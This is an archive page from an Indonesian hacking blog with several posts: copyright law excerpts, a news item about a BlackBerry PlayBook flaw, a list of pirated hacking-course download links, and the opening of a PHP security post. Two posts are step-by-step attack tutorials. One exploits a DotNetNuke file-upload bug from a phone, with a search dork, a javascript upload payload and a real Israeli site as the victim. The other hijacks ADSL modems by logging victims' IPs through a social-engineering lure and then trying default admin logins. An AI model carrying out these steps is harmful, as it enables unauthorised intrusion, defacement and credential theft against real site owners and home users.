>

Ads 468x60px

Related Posts Plugin for WordPress, Blogger...
Tampilkan postingan dengan label Hacking. Tampilkan semua postingan
Tampilkan postingan dengan label Hacking. Tampilkan semua postingan

Minggu, 04 Maret 2012

Undang-Undang HAK bidang TIK

Bagian Pertama
Fungsi dan Sifat Hak Cipta
Pasal 2
(1) Hak Cipta merupakan hak eksklusif bagi Pencipta atau Pemegang Hak Cipta untuk mengumumkan atau memperbanyak Ciptaannya, yang timbul secara otomatis setelah suatu ciptaan dilahirkan tanpa mengurangi pembatasan menurut peraturan perundang¬undangan yang berlaku.
(2) Pencipta dan/atau Pemegang Hak Cipta atas karya sinematografi dan Program Komputer memiliki hak untuk memberikan izin atau melarang orang lain yang tanpa persetujuannya menyewakan Ciptaan tersebut untuk kepentingan yang bersifat komersial.
Bagian Keempat
Ciptaan yang Dilindungi
Pasal 12
(1) Dalam Undang-undang ini Ciptaan yang dilindungi adalah Ciptaan dalam bidang ilmu pengetahuan, seni, dan sastra, yang mencakup:
a. buku, Program Komputer, pamflet, perwajahan (lay out) karya tulis yang diterbitkan, dan semua hasil karya tulis lain;
b. ceramah, kuliah, pidato, dan Ciptaan lain yang sejenis dengan itu;
c. alat peraga yang dibuat untuk kepentingan pendidikan dan ilmu pengetahuan; d. lagu atau musik dengan atau tanpa teks;
e. drama atau drama musikal, tari, koreografi, pewayangan, dan pantomim;
f. seni rupa dalam segala bentuk seperti seni lukis, gambar, seni ukir, seni kaligrafi, seni pahat, seni patung, kolase, dan seni terapan;
g. arsitektur;
h peta
i. seni batik;
j. photografi
k. sinematografi
l. terjemahan, tafsir, saduran, bunga rampai, database, dan karya lain dari hasil pengaliwujudan.
Bagian Kelima
Pembatasan Hak Cipta
Pasal 14
Tidak dianggap sebagai pelanggaran Hak Cipta:
a. Pengumuman dan/atau Perbanyakan lambang Negara dan lagu kebangsaan menurut sifatnya yang asli;
b. Pengumuman dan/atau Perbanyakan segala sesuatu yang diumumkan dan/atau diperbanyak oleh atau atas nama Pemerintah, kecuali apabila Hak Cipta itu dinyatakan dilindungi, baik dengan peraturan perundang-undangan maupun dengan pernyataan pada Ciptaan itu sendiri atau ketika Ciptaan itu diumumkan dan/atau diperbanyak; atau
c. Pengambilan berita aktual baik seluruhnya maupun sebagian dari kantor berita, Lembaga Penyiaran, dan surat kabar atau sumber sejenis lain, dengan ketentuan sumbernya harus disebutkan secara lengkap.
Pasal 15
Dengan syarat bahwa sumbernya harus disebutkan atau dicantumkan, tidak dianggap sebagai pelanggaran Hak Cipta:
a. penggunaan Ciptaan pihak lain untuk kepentingan pendidikan, penelitian, penulisan karya ilmiah, penyusunan laporan, penulisan kritik atau tinjauan suatu masalah dengan tidak merugikan kepentingan yang wajar dari Pencipta;
b. pengambilan Ciptaan pihak lain, baik seluruhnya maupun sebagian, guna keperluan pembelaan di dalam atau di luar Pengadilan;
c. pengambilan Ciptaan pihak lain, baik seluruhnya maupun sebagian, guna keperluan:
(i) ceramah yang semata-mata untuk tujuan pendidikan dan ilmu pengetahuan; atau
(ii) pertunjukan atau pementasan yang tidak dipungut bayaran dengan ketentuan tidak merugikan kepentingan yang wajar dari Pencipta.
d. Perbanyakan suatu Ciptaan bidang ilmu pengetahuan, seni, dan sastra dalam huruf braille guna keperluan para tunanetra, kecuali jika Perbanyakan itu bersifat komersial;
e. Perbanyakan suatu Ciptaan selain Program Komputer, secara terbatas dengan cara atau alat apa pun atau proses yang serupa oleh perpustakaan umum, lembaga ilmu pengetahuan atau pendidikan, dan pusat dokumentasi yang nonkomersial semata-mata untuk keperluan aktivitasnya;
f. perubahan yang dilakukan berdasarkan pertimbangan pelaksanaan teknis atas karya arsitektur, seperti Ciptaan bangunan;
g. pembuatan salinan cadangan suatu Program Komputer oleh pemilik Program Komputer yang dilakukan semata-mata untuk digunakan sendiri.
Pasal 16
(1) Untuk kepentingan pendidikan, ilmu pengetahuan, serta kegiatan penelitian dan pengembangan, terhadap Ciptaan dalam bidang ilmu pengetahuan dan sastra, Menteri setelah mendengar pertimbangan Dewan Hak Cipta dapat:
a. mewajibkan Pemegang Hak Cipta untuk melaksanakan sendiri penerjemahan dan/atau Perbanyakan Ciptaan tersebut di wilayah Negara Republik Indonesia dalam waktu yang ditentukan;
b. mewajibkan Pemegang Hak Cipta yang bersangkutan untuk memberikan izin kepada pihak lain untuk menerjemahkan dan/atau memperbanyak Ciptaan tersebut di wilayah Negara Republik Indonesia dalam waktu yang ditentukan dalam hal Pemegang Hak Cipta yang bersangkutan tidak melaksanakan sendiri atau melaksanakan sendiri kewajiban sebagaimana dimaksud dalam huruf a;
c. menunjuk pihak lain untuk melakukan penerjemahan dan/atau Perbanyakan Ciptaan tersebut dalam hal Pemegang Hak Cipta tidak melaksanakan kewajiban sebagaimana dimaksud dalam huruf b.
(2) Kewajiban untuk menerjemahkan sebagaimana dimaksud pada ayat (1), dilaksanakan setelah lewat jangka waktu 3 (tiga) tahun sejak diterbitkannya Ciptaan di bidang ilmu pengetahuan dan sastra selama karya tersebut belum pernah diterjemahkan ke dalam bahasa Indonesia.
(3) Kewajiban untuk memperbanyak sebagaimana dimaksud pada ayat (1), dilaksanakan setelah lewat jangka waktu:
a. 3 (tiga) tahun sejak diterbitkannya buku di bidang matematika dan ilmu pengetahuan alam dan buku itu belum pernah diperbanyak di wilayah Negara Republik Indonesia
b. 5 (lima) tahun sejak diterbitkannya buku di bidang ilmu sosial dan buku itu belum pernah diperbanyak di wilayah Negara Republik Indonesia;
c. 7 (tujuh) tahun sejak diumumkannya buku di bidang seni dan sastra dan buku itu belum pernah diperbanyak di wilayah Negara Republik Indonesia
(4) Penerjemahan atau Perbanyakan sebagaimana dimaksud pada ayat (1) hanya dapat digunakan untuk pemakaian di dalam wilayah Negara Republik Indonesia dan tidak untuk diekspor ke wilayah Negara lain.
(5) Pelaksanaan ketentuan sebagaimana dimaksud pada ayat (1) huruf b dan huruf c disertai pemberian imbalan yang besarnya ditetapkan dengan Keputusan Presiden.
(6) Ketentuan tentang tata cara pengajuan Permohonan untuk menerjemahkan dan/atau memperbanyak sebagaimana dimaksud pada ayat (1), ayat (2), ayat (3), dan ayat (4) diatur lebih lanjut dengan Keputusan Presiden.
Bagian Kedelapan
Sarana Kontrol Teknologi
Pasal 27
Kecuali atas izin Pencipta, sarana kontrol teknologi sebagai pengaman hak Pencipta tidak diperbolehkan dirusak, ditiadakan, atau dibuat tidak berfungsi
.
Pasal 28
(1) Ciptaan-ciptaan yang menggunakan sarana produksi berteknologi tinggi, khususnya di bidang cakram optik (optical disc), wajib memenuhi semua peraturan perizinan dan persyaratan produksi yang ditetapkan oleh instansi yang berwenang.
(2) Ketentuan lebih lanjut mengenai sarana produksi berteknologi tinggi yang memproduksi cakram optik sebagaimana diatur pada ayat (1) diatur dengan Peraturan Pemerintah
BAB III
MASA BERLAKU HAK CIPTA
Pasal 29
(1) Hak Cipta atas Ciptaan:
a. buku, pamflet, dan semua hasil karya tulis lain;
b. drama atau drama musikal, tari, koreografi;
c. segala bentuk seni rupa, seperti seni lukis, seni pahat, dan seni patung;
d. seni batik;
e. lagu atau musik dengan atau tanpa teks; f. arsitektur;
g. ceramah, kuliah, pidato dan Ciptaan sejenis lain;
h. alat peraga;
i. peta;
j. terjemahan, tafsir, saduran, dan bunga rampai berlaku selama hidup Pencipta dan terus berlangsung hingga50 (lima puluh) tahun setelah Pencipta meninggal dunia.
(2) Untuk Ciptaan sebagaimana dimaksud pada ayat (1) yang dimiliki oleh 2 (dua) orang atau lebih, Hak Cipta berlaku selama hidup Pencipta yang meninggal dunia paling akhir dan berlangsung hingga 50 (lima puluh) tahun sesudahnya.
Pasal 30
(1) Hak Cipta atas Ciptaan:
a. Program Komputer;
b. sinematografi;
c. fotografi;
d. database; dan
e. karya hasil pengalihwujudan, berlaku selama 50 (lima puluh) tahun sejak pertama kali diumumkan
(2) Hak Cipta atas perwajahan karya tulis yang diterbitkan berlaku selama 50 (lima puluh) tahun sejak pertama kali diterbitkan.
(3) Hak Cipta atas Ciptaan sebagaimana dimaksud pada ayat (1) dan ayat (2) pasal ini serta Pasal 29 ayat (1) yang dimiliki atau dipegang oleh suatu badan hukum berlaku selama 50 (lima puluh) tahun sejak pertama kali diumumkan.
BAB V LISENSI
Pasal 45
(1) Pemegang Hak Cipta berhak memberikan Lisensi kepada pihak lain berdasarkan surat perjanjian lisensi untuk melaksanakan perbuatan sebagaimana dimaksud dalam Pasal 2.
(2) Kecuali diperjanjikan lain, lingkup Lisensi sebagaimana dimaksud pada ayat (1) meliputi semua perbuatan sebagaimana dimaksud dalam Pasal 2 berlangsung selama jangka waktu Lisensi diberikan dan berlaku untuk seluruh wilayah Negara Republik Indonesia.
(3) Kecuali diperjanjikan lain, pelaksanaan perbuatan sebagaimana dimaksud pada ayat (1) dan ayat (2) disertai dengan kewajiban pemberian royalti kepada Pemegang Hak Cipta oleh penerima Lisensi.
(4) Jumlah royalti yang wajib dibayarkan kepada Pemegang Hak Cipta oleh penerima Lisensi adalah berdasarkan kesepakatan kedua belah pihak dengan berpedoman kepada kesepakatan organisasi profesi.
Pasal 46
Kecuali diperjanjikan lain, Pemegang Hak Cipta tetap boleh melaksanakan sendiri atau memberikan Lisensi kepada pihak ketiga untuk melaksanakan perbuatan sebagaimana dimaksud dalam Pasal 2.
Pasal 47
(1) Perjanjian Lisensi dilarang memuat ketentuan yang dapat menimbulkan akibat yang merugikan perekonomian Indonesia atau memuat ketentuan yang mengakibatkan persaingan usaha tidak sehat sebagaimana diatur dalam peraturan perundang-undangan yang berlaku.
(2) Agar dapat mempunyai akibat hukum terhadap pihak ketiga, perjanjian Lisensi wajib dicatatkan di Direktorat Jenderal.
(3) Direktorat Jenderal wajib menolak pencatatan perjanjian Lisensi yang memuat ketentuan sebagaimana dimaksud pada ayat (1).
(4) Ketentuan lebih lanjut mengenai pencatatan perjanjian Lisensi diatur dengan Keputusan Presiden.
BAB XIII
KETENTUAN PIDANA
Pasal 72
(1) Barangsiapa dengan sengaja dan tanpa hak melakukan perbuatan sebagaimana dimaksud dalam Pasal 2 ayat (1) atau Pasal 49 ayat (1) dan ayat (2) dipidana dengan pidana penjara masing-masing paling singkat 1 (satu) bulan dan/atau denda paling sedikit Rp 1.000.000,00 (satu juta rupiah), atau pidana penjara paling lama 7 (tujuh) tahun dan/atau denda paling banyak Rp 5.000.000.000,00 (lima miliar rupiah).
(2) Barangsiapa dengan sengaja menyiarkan, memamerkan, mengedarkan, atau menjual kepada umum suatu Ciptaan atau barang hasil pelanggaran Hak Cipta atau Hak Terkait sebagaimana dimaksud pada ayat (1) dipidana dengan pidana penjara paling lama 5 (lima) tahun dan/atau denda paling banyak Rp 500.000.000,00 (lima ratus juta rupiah).
(3) Barangsiapa dengan sengaja dan tanpa hak memperbanyak penggunaan untuk kepentingan komersial suatu Program Komputer dipidana dengan pidana penjara paling lama 5 (lima) tahun dan/atau denda paling banyak Rp 500.000.000,00 (lima ratus juta rupiah).
(4) Barangsiapa dengan sengaja melanggar Pasal 17 dipidana dengan pidana penjara paling lama 5 (lima) tahun dan/atau denda paling banyak Rp 1.000.000.000,00 (satu miliar rupiah).
(5) Barangsiapa dengan sengaja melanggar Pasal 19, Pasal 20, atau Pasal 49 ayat (3) dipidana dengan pidana penjara paling lama 2 (dua) tahun dan/atau denda paling banyak Rp 150.000.000,00 (seratus lima puluh juta rupiah).
(6) Barangsiapa dengan sengaja dan tanpa hak melanggar Pasal 24 atau Pasal 55 dipidana dengan pidana penjara paling lama 2 (dua) tahun dan/atau denda paling banyak Rp 150.000.000,00 (seratus lima puluh juta rupiah).
(7) Barangsiapa dengan sengaja dan tanpa hak melanggar Pasal 25 dipidana dengan pidana penjara paling lama 2 (dua) tahun dan/atau denda paling banyak Rp 150.000.000,00 (seratus lima puluh juta rupiah).
(8) Barangsiapa dengan sengaja dan tanpa hak melanggar Pasal 27 dipidana dengan pidana penjara paling lama 2 (dua) tahun dan/atau denda paling banyak Rp 150.000.000,00 (seratus lima puluh juta rupiah).
(9) Barangsiapa dengan sengaja melanggar Pasal 28 dipidana dengan pidana penjara paling lama 5 (lima) tahun dan/atau denda paling banyak Rp 1.500.000.000,00 (satu miliar lima ratus juta rupiah).

Semoga Bermanfaat :D
Selengkapnya >>

Minggu, 22 Januari 2012

Serangan Hacker Pada Transfer Data via Bluetooth Blackberry Playbook

Para penelit telah menemukan kerentanan pada RIM Blackberry Playbook yang memungkinkan seseorang (hacker) untuk melakukan sabotase pada koneksi jaringan via bluetooth. Sabotase ini memungkinkan pencurian data ketika sedang berlangsung proses transfer data dari tablet ke handset Blackberry melalui koneksi bluetooth. 
Penemuan kerentanan ini di presentasikan oleh Zach Lanier dan Ben Nell dari  Intrepidus Group pada sebuah konferensi yang berlangsung di Miami Beach di Hotel Gansevoort pada tanggal 13 Januari kemarin.
Permasalahan ini nampaknya terdapat pada aplikasi penghubung (Bridge) yang memungkinkan pengguna untuk mengakses email, kalender dan data lain yang di temukan pada playbook mereka dari handset Blackberry melalui bluetooth.
Ternyata Token berisi otentifikasi yang dikirim antara perangkat saat sambungan terhubung, akan tersimpan di lokasi yang dapat diakses oleh siapa saja yang tahu tempat penyimpanannya.
Menurut Lanier: “Sementara bridge ini aktif, pada dasarnya token berada di tempat yang dapat dibaca oleh seluruh dunia. Hal inilah yang menyebabkan masalah pada sesi Bridge.”
Tentu saja beberapa kondisi tertentu harus terpenuhi agar sebuah serangan dapat berjalan sukses. Pertama-tama, adalah harus ada sebuah cara tertentu untuk mengakses token dari tablet.
Ini bisa menjadi aplikasi berbahaya dimana secara mudah menawarkan kemampuan untuk mengakses token, atau serangan juga bisa dilakukan dengan memanfaatkan kelemahan lain yang ada perangkat lunak playbook tersebut. Masalah ini bisa menjadi seperti sebuah hadiah buat para hacker karena saat ini perangkat tidak memiliki email client, yang berarti bahwa sebagian besar konsumen harus mengandalkan klien webmail atau penggunaan aplikasi Bridge untuk membaca email mereka.
Nell melanjutkan bahwa: “Bukan hanya user biasa saja yang mendapatkan ini, tetapi sekarang menjadi prioritas target untuk mencari bug lain di Playbook. Mereka harus benar-benar melindungi aset berharga ini dengan sisi klien kontrol.”
Dan cacat ini bukanlah satu-satunya yang ditemukan oleh peneliti, mereka juga menemukan fakta bahwa nama file di BlackBerry AppWorld store ditulis berurutan dan dapat di prediksi, maka pengguna juga bisa menambahkan nama file untuk men-download aplikasi apapun yang di inginkan.

Semoga Bermanfaat :D
Selengkapnya >>

Jumat, 13 Januari 2012

Hacking Website Melalui Handphone

Mungkin kedengarannya gila bila membaca judul diatas….! ‘it’s imposible‘ kata beberapa orang, Saya hanya seorang Newbie yg selalu pgn mencoba, maaf bila postingan ini dah basi dan untuk para master jangan dibaca ya coz dah jadul.Pada dasarnya aplikasi web browser di HP maupun di PC it cara kerjanya sama,yg membedakan adalah system yg bekerja mendukung applikasi it sendiri (Java, SymBian, Linux, Windows, Android etc). Dan ukuran atau kapasitas serta kemampuan menampilkan web. Tapi pada dasarnya cara kerjanya tetap. Sama, jadi apa yg bisa dilakukan lwt pc,kmgknan bsa jg dikerjakan lwt hape…!

Nah yg coba saya bahas disini adalah exploit web dgn cara hack web melalui DNN (dot net nuke) exploit
melalui hape.
Bahan2 yg kita butuhkan adalah:
1. Operamini browser versi 5.0
2. Operamini browser versi 4.2
Kenapa pake 2 Web Browser ?
Lebih enak pake 2 browser di atas.alasannya adalah:
1. Operamini 5.0 mendukung multi tab jadi cocok buat mencari target dan mengetesnya tanpa harus open close satu2.
2. Operamini 5.0 mempunyai kemampuan copi paste,pilih text dan lgsg mensearchnya dlm sekali klik ditab yg sama ataupun membukanya di tab baru.
3. Operamini 4.2 respon browser lbh bagus dr yg v 5.0
Setelah cek target dr opmin 5.0 dan ternyata vuln tgl copy kan aja linknya di operamini 4.2 .
Tgl kta exploit lwt situ..
(Operamini 4.2 tdk multi tab,untuk yg multi tab slhkan cari di opera modif di google)
Nah sekarang memasuki langkah2 atau cara2 melakukan hack web dgn DNN exploit melalui opera mini.
Pertama: pastikan anda masih mempunyai saldo pulsa
Kedua: buka operamini v 5.0 anda dan ketik di kolom google search dorknya->
inurl:”/portals/0″
And search!!…
Nah dapet kan??
Tinggal kita pilh target yang pas di hati.dan kali ini saya coba di situs orang israel.
Taruh cursor di link target trus tekan angka 1 di keypad hape anda.
Pilih open in new tab.
Begitu seterusnya untuk link target yg lain sampai keluar beberapa tab.
Oh,ya untuk mengetahu gimana ,apa dan bagaimana DNN exploit it silahkan baca disini:
http://securityreason.com/exploitalert/6234
Next, misalkan kita dah dpt targetnya nih…
Example site:
http://fril.co.il/portals/0/cwindex.txt
Spti keterangan di securityreason di atas kita coba potong link target dan menggantinya dgn
/Providers/HtmlEditorProviders/ Fck/fcklinkgallery.aspx
->http://site.com/[path]/portals/0/a.txt
Menjadi
->http://site.com/[path]/Providers/HtmlEditorProviders/ Fck/fcklinkgallery.aspx
Lakukan it pada smua target yg udah kamu buka pada browser operamini 5.0 km.biar gak bolak balik
copas lagi.
Setelah dapet dan pasti vuln seperti site di bawah ini.
http://fril.co.il//Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Copy dan pastekan di opera 4.2 kamu.
Nb:Alasannya knapa pindah browser yaitu pada opera 5.0 di hape saya kurang respon pada perintahupload. Proses upload berjalan tapi file tidak terupload dan begitu di coba di v 4.2 sukses terupload. Tapi bila di v.5.0 km bisa ya lanjut aja disitu.gak ush pndah applikasi.
Lanjut proses.!
Setelah site target di buka di opmin 4.2
Pilih : file ( select a file on your site)
Tunggu biar loading selesai dan menampilkan 2 kolom:
Kolom 1 biasanya tulisan ‘root’
Kolom 2 berisi macam2 file.
Setelah loading selesai hapus link di addres bar operamini kamu dan ganti dgn script di bawah ini:
javascript:__doPostBack(‘ctlURL $cmdUpload’,”)
Lalu klik ok….
Kolom yg tdnya berisi ‘root’ dan ‘jenis2 file’
Skrg ganti menjadi kolom ‘root’ dan kolom kosong untuk upload file.
Nah skrg tgl km upload tuh file txt yg udah km simpan di hape km.
SUCCESS..! you cAn hacked a web site from mobile phone
.
Hasilnya seperti ini http://fril.co.il/portals/0/xadal.txt < 100% lewat handphoneNb: angka 1 di operamini berfungsi untuk copas,select text and open new ta-sekian-
Selengkapnya >>

Hacking Modem Speedy dan Penanganannya

 Sebenarnya sudah lama sekali telkom mengadakan diskon besar-besaran untuk meraih pelanggan sebanyak-banyaknya. Udah dulu promosinya. :D
Sama dengan bug-bug yang lainnya, konfigurasi default akan membuat pihak luar yang tidak diinginkan seperti cracker dengan mudah mengeksploitasi secara besar-besaran sehingga memanen username dan password menjadi sesuatu yang memungkinkan sekali untuk dilakukan. Contoh bug yang buruk, yaitu username default dan password yang default.
Sebelum ngejabarin masalah teknisnya, berikut alat-alat yang diperlukan :


Browser Internet ( mau yang banyak bugnya, maupun yang sedikit bugnya )
Website dengan log system flat file ( diambil dari artikelnya Anggi J. )
Aplikasi Instant Messaging, ex : Yahoo Messenger ( Social Engineering )
Internet Password Asterisk Reveal
( http://www.nsauditor.com/freeware/downloads/IEAstRecover.exe )

Langkah Pertama
Silahkan anda baca artikel http://www.ilmuwebsite.com/detil_php_tutorial/2/_Membuat_System_LOG_dengan_FLAT_FILE/
, cara memasang log system flat file. Digunakan untuk mendapatkan alamat ip dari sang korban.

Langkah Ke Dua
Inti dari artikel ini adalah pencarian user yang akan dijadikan korban. Anda bisa menggunakan aplikasi IRC ataupun instant messaging yang lainnya. Alangkah baiknya anda menggunakan aplikasi IRC, seperti mIRC ataupun yang lainnya, karena fasilitas whois yang ada didalamnya mempermudah kita untuk segera mengetahui IP sang korban, tapi pada beberapa kasus, adakalanya user yang advanced menggunakan anonymous proxy yang tentunya menyembunyikan IP asli miliknya. Sehingga perlu teknik social engineering yang lebih ampuh lagi. Berikut ada sedikit percakapan antara seseorang sebagai intruder dengan sang korban menggunakan aplikasi yahoo messenger :

Mamang (intruder) : dah liat situs ini belom, ilmuwebsite.com ???
Sang_korban : apaan tuh ?
Mamang (intruder ) : situs keren punya orang keren, ngebahas tentang berbagai artikel mengenai kekerenan. Coba deh liat.
Sang_korban : coba, gw liat dulu. # kena!!
Mamang ) intruder ) : gimana keren kan ? eh, gw off dulu yah. C U

Situs ilmuwebsite.com tersebut, merupakan sebuah contoh situs yang anda gunakan untuk merecord ip sang korban. Anda bisa memasang log system flat file pada situs milik anda. Dengan mengusahakan sang korban tertarik untuk mengunjungi situs yang telah dipasang log system flat file.
Contoh IP yang sudah dilog dalam flat file,

Waktu: Fri, 06 Jul 2007 12:47:04 +0700 | IP asli: 125.161.2.85 | Browser: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)? | URL: / | Referrer: | Proxy:? | Koneksi:

Langkah Ketiga
Setelah mendapatkan alamat ip sang korban, yang perlu anda lakukan adalah membuka browser, kemudian pada address bar isi dengan alamat ip yang telah anda dapatkan, sebagai contoh yang saya dapatkan adalah http://125.160.#.# isikan username dengan admin dan passwordnya admin. Jika anda beruntung, anda akan langsung dihadapkan kepada halaman username ADSL dan tentunya password yang asterisk. Untuk membuka password yang asterisk, anda cukup menggunakan Internet Password Asterisk Reveal.



Penanganan
Sebenarnya dengan mengganti password yang default pun itu sudah bisa mencegah teknik seperti ini. Dan intinya password yang kuatlah yang susah untuk dimanfaatkan. Password yang kuat ini memiliki lebih dari 8 digit, dan merupakan gabungan dari angka huruf dan special character. Ex: ilmVw3851te –> bentuk lain dari ilmuwebsite

Sayangnya, telkom telah menerapkan system yang unique, sehingga account speedy tidak bisa digunakan pada jaringan telepon yang berbeda. Dan tentunya anda tidak bisa men-take over account yang sudah didapatkan. Mohon Maaf, artikel ini hanya sebagai contoh pembelajaran.
Default password untuk setiap modem :
http://www.elitehackers.info/defaultpasslist.php
// Greetz :

Special for mylovely, terima kasih infonya, ide-nya jadi makin bertambah.
Bscorpio, phii, dan ryuzaki, ninjaring, barudak STTTelematika Ciawi Bogor.
Fel_c, Mentari^, Abang Dennis the Manace
Allguys Echo Member, #khilafah, pepei dwipangga dan konco-konconya di liberationyouth.com, anak-anak saveusgue

Semoga Bermanfaat :D
Selengkapnya >>

Hacking Video – Career Academy Hacking

Lagi-lagi video hacking bertebaran secara gratis. Yup, baru-baru ini ilmuwebsite staff menemukan harta karun luar biasa, video hacking academy, mulai dari Ethical Hacking, Penetration Testing, Footprinting, Reconnaissance, TCP IP Basics ,Scanning, Honeypots, Honeynets sampai dengan wireless hacking pun dibahas dalam video. Yang lebih menarik lagi, didalamnya di sediakan demo penetration testing lebih dari 300+ vulnerability. :D—- dan tentunya sebanding dengan kapasitasnya yang lebih dari 3 GB.

Silahkan bagi yang tertarik untuk mendownloadnya :

-Training Module 1 Ethical Hacking and Penetration Testing – cd 1
-Training Module 2 Footprinting and Reconnaissance – cd 2
-Training Module 3 TCP IP Basics and Scanning – cd 3
-Training Module 4 Enumeration and Verification – cd 4
-Training Module 5 Hacking Defending Wireless Modems – cd 5
-Training Module 6 Hacking Defending Web Servers – cd 6
-Training Module 7 Hacking Defending Web Applications – cd 7
-Training Module 8 Sniffers and Session Hijacking – cd 8
-Training Module 9 Hacking Defending Windows Systems – cd 9
-Training Module 10 Hacking Defending Unix Systems – cd 10
-Training Module 11 Rootkits Backdoors Trojans Tunnels – cd 11
-Training Module 12 Denial of Service and Botnets – cd 12
-Training Module 13 Automated Pen Testing Tools – cd 13
-Training Module 14 Intrusion Detection Systems – cd 14
-Training Module 15 Firewalls – cd 15
-Training Module 16 Honeypots and Honeynets – cd 16
-Training Module 17 Ethics and Legal Issues – cd 17
http://rapidshare.com/files/194379379/Gxc.VT.CAHPTaCT_UDS.part01.rar
http://rapidshare.com/files/194382133/Gxc.VT.CAHPTaCT_UDS.part02.rar
http://rapidshare.com/files/194377149/Gxc.VT.CAHPTaCT_UDS.part03.rar
http://rapidshare.com/files/194377617/Gxc.VT.CAHPTaCT_UDS.part04.rar
http://rapidshare.com/files/194379332/Gxc.VT.CAHPTaCT_UDS.part05.rar
http://rapidshare.com/files/194377712/Gxc.VT.CAHPTaCT_UDS.part06.rar
http://rapidshare.com/files/194377133/Gxc.VT.CAHPTaCT_UDS.part07.rar
http://rapidshare.com/files/194379107/Gxc.VT.CAHPTaCT_UDS.part08.rar
http://rapidshare.com/files/194379430/Gxc.VT.CAHPTaCT_UDS.part09.rar
http://rapidshare.com/files/194377280/Gxc.VT.CAHPTaCT_UDS.part10.rar
http://rapidshare.com/files/194379072/Gxc.VT.CAHPTaCT_UDS.part11.rar
http://rapidshare.com/files/194380389/Gxc.VT.CAHPTaCT_UDS.part12.rar
http://rapidshare.com/files/194379054/Gxc.VT.CAHPTaCT_UDS.part13.rar
http://rapidshare.com/files/194379376/Gxc.VT.CAHPTaCT_UDS.part14.rar
http://rapidshare.com/files/194377484/Gxc.VT.CAHPTaCT_UDS.part15.rar
http://rapidshare.com/files/194379264/Gxc.VT.CAHPTaCT_UDS.part16.rar
http://rapidshare.com/files/194380491/Gxc.VT.CAHPTaCT_UDS.part17.rar
http://rapidshare.com/files/194379192/Gxc.VT.CAHPTaCT_UDS.part18.rar
http://rapidshare.com/files/194379700/Gxc.VT.CAHPTaCT_UDS.part19.rar
http://rapidshare.com/files/194377767/Gxc.VT.CAHPTaCT_UDS.part20.rar
http://rapidshare.com/files/194378937/Gxc.VT.CAHPTaCT_UDS.part21.rar
http://rapidshare.com/files/194380403/Gxc.VT.CAHPTaCT_UDS.part22.rar
http://rapidshare.com/files/194379344/Gxc.VT.CAHPTaCT_UDS.part23.rar
http://rapidshare.com/files/194377766/Gxc.VT.CAHPTaCT_UDS.part24.rar
http://rapidshare.com/files/194381936/Gxc.VT.CAHPTaCT_UDS.part25.rar
http://rapidshare.com/files/194379027/Gxc.VT.CAHPTaCT_UDS.part26.rar
http://rapidshare.com/files/194379882/Gxc.VT.CAHPTaCT_UDS.part27.rar
http://rapidshare.com/files/194379279/Gxc.VT.CAHPTaCT_UDS.part28.rar
http://rapidshare.com/files/194377828/Gxc.VT.CAHPTaCT_UDS.part29.rar
http://rapidshare.com/files/194379311/Gxc.VT.CAHPTaCT_UDS.part30.rar
http://rapidshare.com/files/194385532/Gxc.VT.CAHPTaCT_UDS.part31.rar
http://rapidshare.com/files/194385469/Gxc.VT.CAHPTaCT_UDS.part32.rar
http://rapidshare.com/files/194383279/Gxc.VT.CAHPTaCT_UDS.part33.rar
http://rapidshare.com/files/194385282/Gxc.VT.CAHPTaCT_UDS.part34.rar
http://rapidshare.com/files/194385524/Gxc.VT.CAHPTaCT_UDS.part35.rar
http://rapidshare.com/files/194385305/Gxc.VT.CAHPTaCT_UDS.part36.rar
http://rapidshare.com/files/194381537/Gxc.VT.CAHPTaCT_UDS.sfv
mirror? :
http://www.megaupload.com/?d=HROI2ZAV
http://www.megaupload.com/?d=242ZNM7E
http://www.megaupload.com/?d=QY14I10X
http://www.megaupload.com/?d=NHOLUTCO
http://www.megaupload.com/?d=Y9BSB284
http://www.megaupload.com/?d=5GCV9UA3
http://www.megaupload.com/?d=J41JSY0G
http://www.megaupload.com/?d=TXKSRAI8
http://www.megaupload.com/?d=DHF8UMKY
http://www.megaupload.com/?d=RLXSOPTK
http://www.megaupload.com/?d=5O0YFY79
http://www.megaupload.com/?d=RLHUHJDS
http://www.megaupload.com/?d=YNVEK8LB
http://www.megaupload.com/?d=RNYWZ64V
http://www.megaupload.com/?d=J42I6OSZ
http://www.megaupload.com/?d=1EC6S73S
http://www.megaupload.com/?d=25CAZSL2
http://www.megaupload.com/?d=0BZ0FPO1
http://www.megaupload.com/?d=JRPO74HU
http://www.megaupload.com/?d=Z6S34VR6
http://www.megaupload.com/?d=TDXJH9JZ
http://www.megaupload.com/?d=GNCSKLL3
http://www.megaupload.com/?d=LYI3SY94
http://www.megaupload.com/?d=8D3E0R6O
http://www.megaupload.com/?d=0022RC7Z
http://www.megaupload.com/?d=ASMBUELW
http://www.megaupload.com/?d=5XMX3AIZ
http://www.megaupload.com/?d=IPWD9NSU
http://www.megaupload.com/?d=DWQ3469B
http://www.megaupload.com/?d=WL91FDR7
http://www.megaupload.com/?d=TISTATGB
http://www.megaupload.com/?d=1OTQAHLA
http://www.megaupload.com/?d=Q2JTKAHH
http://www.megaupload.com/?d=OUNUNGAP
http://www.megaupload.com/?d=K4GMUQYF
http://www.megaupload.com/?d=QJNKWK0H
http://www.megaupload.com/?d=HP3D8TLB
mirror 2
http://www.mediafire.com/?sharekey=283842fd3dc3e7ef91b20cc0d07ba4d2abc972a2ae368c4b

Semoga Bermanfaat :D 
Selengkapnya >>

PHP Security – Cek Bug PHP Script

Setelah terampungkan script php yang telah kita buat ada? kalanya bug-bug yang tidak diinginkan bercokol di sela-sela script yang telah? siap dionlinekan. Dan tentunya bug ini bisa berakibat fatal sehingga dapat? dimanfaatkan oleh para intruder-intruder yang berusaha untuk mengekploitasi? system.
???
Dan siapa sangka script php yang telah dibuat itu aman? dari kerentanan dalam masalah security. :D~~~
???
Lalu, bagaimana mencegah sang hacker mengekploitasi,? bahkan merusak website anda, bagaimana mencegah secara pasti dan mengetahui? script yang telah dibuat memiliki bug yang fatal, bagaimana menangani itu semua? ??? :D
?

Sebelum kita beralih maju ke langkah selanjutnya ada? baiknya untuk mengenali bug popular yang paling sering diexploitasi.
Penulis akan mencoba untuk memberikan sedikit penjelasan,? bug yang sering dijumpai dalam aplikasi berbasis web khususnya Content? Management system maupun yang lainnya. Di antaranya :
- XSS ( Cross Site Scripting )- SQL Injection
- RFI ( Remote File Inclusion )
Cross Site Scriping
Lebih dikenal dengan sebutan XSS. Kesalahan ini terjadi? karena tidak adanya filtering pada html maupun java script.
?
